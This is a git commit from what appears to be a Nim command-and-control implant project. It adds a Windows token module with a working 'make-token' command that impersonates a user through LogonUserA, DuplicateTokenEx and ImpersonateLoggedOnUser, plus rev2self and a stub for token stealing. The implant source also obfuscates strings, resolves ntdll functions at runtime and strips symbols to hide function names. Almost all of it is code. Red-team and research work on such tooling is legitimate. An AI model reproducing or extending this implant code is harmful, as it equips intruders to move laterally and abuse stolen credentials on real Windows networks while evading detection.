Started work on token module and implemented 'make-token' command to impersonate a user from username and password.
This commit is contained in:
130
src/agent/core/token.nim
Normal file
130
src/agent/core/token.nim
Normal file
@@ -0,0 +1,130 @@
|
||||
import winim/lean
|
||||
import ../../common/[types, utils]
|
||||
|
||||
#[
|
||||
Token impersonation & manipulation
|
||||
- https://maldevacademy.com/new/modules/57
|
||||
- https://www.nccgroup.com/research-blog/demystifying-cobalt-strike-s-make_token-command/
|
||||
- https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Token.c
|
||||
- https://github.com/itaymigdal/Nimbo-C2/blob/main/Nimbo-C2/agent/windows/utils/token.nim
|
||||
]#
|
||||
|
||||
# APIs
|
||||
type
|
||||
NtQueryInformationToken = proc(hToken: HANDLE, tokenInformationClass: TOKEN_INFORMATION_CLASS, tokenInformation: PVOID, tokenInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.}
|
||||
NtOpenThreadToken = proc(threadHandle: HANDLE, desiredAccess: ACCESS_MASK, openAsSelf: BOOLEAN, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
|
||||
NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
|
||||
|
||||
const
|
||||
CURRENT_THREAD = cast[HANDLE](-2)
|
||||
CURRENT_PROCESS = cast[HANDLE](-1)
|
||||
|
||||
proc getCurrentToken*(): HANDLE =
|
||||
var
|
||||
status: NTSTATUS = 0
|
||||
hToken: HANDLE
|
||||
|
||||
let hNtdll = GetModuleHandleA(protect("ntdll"))
|
||||
let
|
||||
pNtOpenThreadToken = cast[NtOpenThreadToken](GetProcAddress(hNtdll, protect("NtOpenThreadToken")))
|
||||
pNtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(hNtdll, protect("NtOpenProcessToken")))
|
||||
|
||||
status = pNtOpenThreadToken(CURRENT_THREAD, TOKEN_QUERY, FALSE, addr hToken)
|
||||
if status != STATUS_SUCCESS:
|
||||
status = pNtOpenProcessToken(CURRENT_PROCESS, TOKEN_QUERY, addr hToken)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, protect("NtOpenProcessToken ") & $status.toHex())
|
||||
|
||||
return hToken
|
||||
|
||||
proc getTokenOwner*(hToken: HANDLE): string =
|
||||
var
|
||||
status: NTSTATUS = 0
|
||||
returnLength: ULONG = 0
|
||||
pUser: ptr TOKEN_USER = nil
|
||||
usernameLength: DWORD = 0
|
||||
domainLength: DWORD = 0
|
||||
totalLength: ULONG = 0
|
||||
sidName: SID_NAME_USE
|
||||
szUsername: PWCHAR = nil
|
||||
pDomain: PWCHAR = nil
|
||||
|
||||
let pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQueryInformationToken")))
|
||||
|
||||
# Calculate return length to allocate space
|
||||
status = pNtQueryInformationToken(hToken, tokenUser, NULL, 0, addr returnLength)
|
||||
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
|
||||
raise newException(CatchableError, protect("NtQueryInformationToken [1] ") & $status.toHex())
|
||||
|
||||
pUser = cast[ptr TOKEN_USER](LocalAlloc(LMEM_FIXED, returnLength))
|
||||
if pUser == NULL:
|
||||
raise newException(CatchableError, "Failed to allocate memory for TOKEN_USER")
|
||||
defer: LocalFree(cast[HLOCAL](pUser))
|
||||
|
||||
# Retrieve token user information
|
||||
status = pNtQueryInformationToken(hToken, tokenUser, cast[PVOID](pUser), returnLength, addr returnLength)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, protect("NtQueryInformationToken [2] ") & $status.toHex())
|
||||
|
||||
if LookupAccountSidW(NULL, pUser.User.Sid, NULL, addr usernameLength, NULL, addr domainLength, addr sidName) == FALSE:
|
||||
sidName = 0
|
||||
|
||||
let
|
||||
sizeofWChar = cast[ULONG](sizeof(WCHAR))
|
||||
pDomain = cast[PWCHAR](LocalAlloc(LMEM_FIXED, domainLength * sizeofWChar))
|
||||
pUsername = cast[PWCHAR](LocalAlloc(LMEM_FIXED, usernameLength * sizeofWChar))
|
||||
if pDomain == NULL or pUsername == NULL:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
defer:
|
||||
LocalFree(cast[HLOCAL](pDomain))
|
||||
LocalFree(cast[HLOCAL](pUsername))
|
||||
|
||||
# Retrieve username & domain
|
||||
if LookupAccountSidW(nil, pUser.User.Sid, pUsername, addr usernameLength, pDomain, addr domainLength, addr sidName) == FALSE:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
|
||||
return $pDomain & "\\" & $pUsername
|
||||
|
||||
proc impersonateToken*(hToken: HANDLE) =
|
||||
discard
|
||||
|
||||
#[
|
||||
Create a new access token from a username, password and domain name triplet.
|
||||
Using LOGON32_LOGON_NEW_CREDENTIALS creates a netonly security context (same as using runas.exe /netonly)
|
||||
This means that nothing changes locally, the user returned by "getTokenOwner" is the same as the current user.
|
||||
In the network, we are represented by the credentials of the user we created the token for, allowing us to inject Kerberos tickets, etc. to impersonate that user.
|
||||
The LOGON32_LOGON_NEW_CREDENTIALS logon type does not validate credentials.
|
||||
|
||||
Using other logon types (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types)
|
||||
changes the output of the getTokenOwner function. The credentials are then validated by the LogonUserA function.
|
||||
]#
|
||||
proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS): bool =
|
||||
if username == "" or password == "" or domain == "":
|
||||
return false
|
||||
|
||||
var
|
||||
hToken: HANDLE
|
||||
hImpersonationToken: HANDLE
|
||||
|
||||
let provider: DWORD = if logonType == LOGON32_LOGON_NEW_CREDENTIALS: LOGON32_PROVIDER_WINNT50 else: LOGON32_PROVIDER_DEFAULT
|
||||
if LogonUserA(username, domain, password, logonType, provider, addr hToken):
|
||||
|
||||
if DuplicateTokenEx(hToken, TOKEN_QUERY or TOKEN_IMPERSONATE, NULL, securityImpersonation, tokenImpersonation, addr hImpersonationToken) == FALSE:
|
||||
return false
|
||||
defer: CloseHandle(hImpersonationToken)
|
||||
|
||||
if ImpersonateLoggedOnUser(hImpersonationToken) == FALSE:
|
||||
return false
|
||||
|
||||
else:
|
||||
return false
|
||||
|
||||
defer: CloseHandle(hToken)
|
||||
|
||||
return true
|
||||
|
||||
proc tokenSteal*(pid: int): bool =
|
||||
discard
|
||||
|
||||
proc rev2self*(): bool =
|
||||
return RevertToSelf()
|
||||
@@ -3,6 +3,6 @@
|
||||
-d:release
|
||||
--opt:size
|
||||
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||
-d:MODULES="255"
|
||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||
-d:MODULES="511"
|
||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||
@@ -127,6 +127,8 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
|
||||
|
||||
if igButton("Build", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
|
||||
|
||||
component.buildLog.clear()
|
||||
|
||||
# Iterate over modules
|
||||
var modules: uint32 = 0
|
||||
for m in component.moduleSelection.items[1]:
|
||||
|
||||
@@ -52,6 +52,9 @@ type
|
||||
CMD_SCREENSHOT = 15'u16
|
||||
CMD_DOTNET = 16'u16
|
||||
CMD_SLEEPMASK = 17'u16
|
||||
CMD_MAKE_TOKEN = 18'u16
|
||||
CMD_STEAL_TOKEN = 19'u16
|
||||
CMD_REV2SELF = 20'u16
|
||||
|
||||
StatusType* = enum
|
||||
STATUS_COMPLETED = 0'u8
|
||||
@@ -99,6 +102,7 @@ type
|
||||
MODULE_FILETRANSFER = 32'u32
|
||||
MODULE_SCREENSHOT = 64'u32
|
||||
MODULE_SITUATIONAL_AWARENESS = 128'u32
|
||||
MODULE_TOKEN = 256'u32
|
||||
|
||||
# Custom iterator for ModuleType, as it uses powers of 2 instead of standard increments
|
||||
iterator items*(e: typedesc[ModuleType]): ModuleType =
|
||||
|
||||
@@ -27,7 +27,8 @@ when (MODULES == cast[uint32](MODULE_ALL)):
|
||||
bof,
|
||||
dotnet,
|
||||
screenshot,
|
||||
systeminfo
|
||||
systeminfo,
|
||||
token
|
||||
registerModule(sleep.module)
|
||||
registerModule(shell.module)
|
||||
registerModule(bof.module)
|
||||
@@ -36,6 +37,7 @@ when (MODULES == cast[uint32](MODULE_ALL)):
|
||||
registerModule(filetransfer.module)
|
||||
registerModule(screenshot.module)
|
||||
registerModule(systeminfo.module)
|
||||
registerModule(token.module)
|
||||
|
||||
# Import modules individually
|
||||
when ((MODULES and cast[uint32](MODULE_SLEEP)) == cast[uint32](MODULE_SLEEP)):
|
||||
@@ -62,6 +64,10 @@ when ((MODULES and cast[uint32](MODULE_SCREENSHOT)) == cast[uint32](MODULE_SCREE
|
||||
when ((MODULES and cast[uint32](MODULE_SITUATIONAL_AWARENESS)) == cast[uint32](MODULE_SITUATIONAL_AWARENESS)):
|
||||
import systeminfo
|
||||
registerModule(systeminfo.module)
|
||||
when ((MODULES and cast[uint32](MODULE_TOKEN)) == cast[uint32](MODULE_TOKEN)):
|
||||
import token
|
||||
registerModule(token.module)
|
||||
|
||||
|
||||
proc getCommandByType*(cmdType: CommandType): Command =
|
||||
return manager.commandsByType[cmdType]
|
||||
|
||||
83
src/modules/token.nim
Normal file
83
src/modules/token.nim
Normal file
@@ -0,0 +1,83 @@
|
||||
import ../common/[types, utils]
|
||||
|
||||
# Define function prototype
|
||||
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult
|
||||
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult
|
||||
|
||||
|
||||
# Module definition
|
||||
let module* = Module(
|
||||
name: protect("token"),
|
||||
description: protect("Manipulate Windows access tokens."),
|
||||
moduleType: MODULE_TOKEN,
|
||||
commands: @[
|
||||
Command(
|
||||
name: protect("make-token"),
|
||||
commandType: CMD_MAKE_TOKEN,
|
||||
description: protect("Create an access token from username and password."),
|
||||
example: protect("make-token LAB\\john Password123!"),
|
||||
arguments: @[
|
||||
Argument(name: protect("username"), description: protect("Account username prefixed with domain in format: domain\\username."), argumentType: STRING, isRequired: true),
|
||||
Argument(name: protect("password"), description: protect("Account password."), argumentType: STRING, isRequired: true),
|
||||
Argument(name: protect("logonType"), description: protect("Logon type (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types)."), argumentType: INT, isRequired: false)
|
||||
],
|
||||
execute: executeMakeToken
|
||||
),
|
||||
Command(
|
||||
name: protect("rev2self"),
|
||||
commandType: CMD_REV2SELF,
|
||||
description: protect("Revert to previous access token."),
|
||||
example: protect("rev2self"),
|
||||
arguments: @[],
|
||||
execute: executeRev2Self
|
||||
)
|
||||
]
|
||||
)
|
||||
|
||||
# Implement execution functions
|
||||
when not defined(agent):
|
||||
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||
|
||||
when defined(agent):
|
||||
|
||||
import winim, strutils, strformat
|
||||
import ../agent/protocol/result
|
||||
import ../agent/core/token
|
||||
import ../common/utils
|
||||
|
||||
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
echo fmt" [>] Creating access token from username and password."
|
||||
|
||||
var success: bool
|
||||
var logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS
|
||||
let
|
||||
username = Bytes.toString(task.args[0].data)
|
||||
password = Bytes.toString(task.args[1].data)
|
||||
|
||||
# Split username and domain at separator '\'
|
||||
let userParts = username.split("\\", 1)
|
||||
if userParts.len() != 2:
|
||||
raise newException(CatchableError, protect("Invalid username format. Expected: <DOMAIN>\\<USERNAME>.\n"))
|
||||
|
||||
if task.argCount == 3:
|
||||
logonType = cast[DWORD](Bytes.toUint32(task.args[2].data))
|
||||
|
||||
if not makeToken(userParts[1], password, userParts[0], logonType):
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(protect("Failed to create token.\n")))
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}." & "\n"))
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
echo fmt" [>] Reverting access token."
|
||||
|
||||
if not rev2self():
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_NO_OUTPUT, @[])
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
Reference in New Issue
Block a user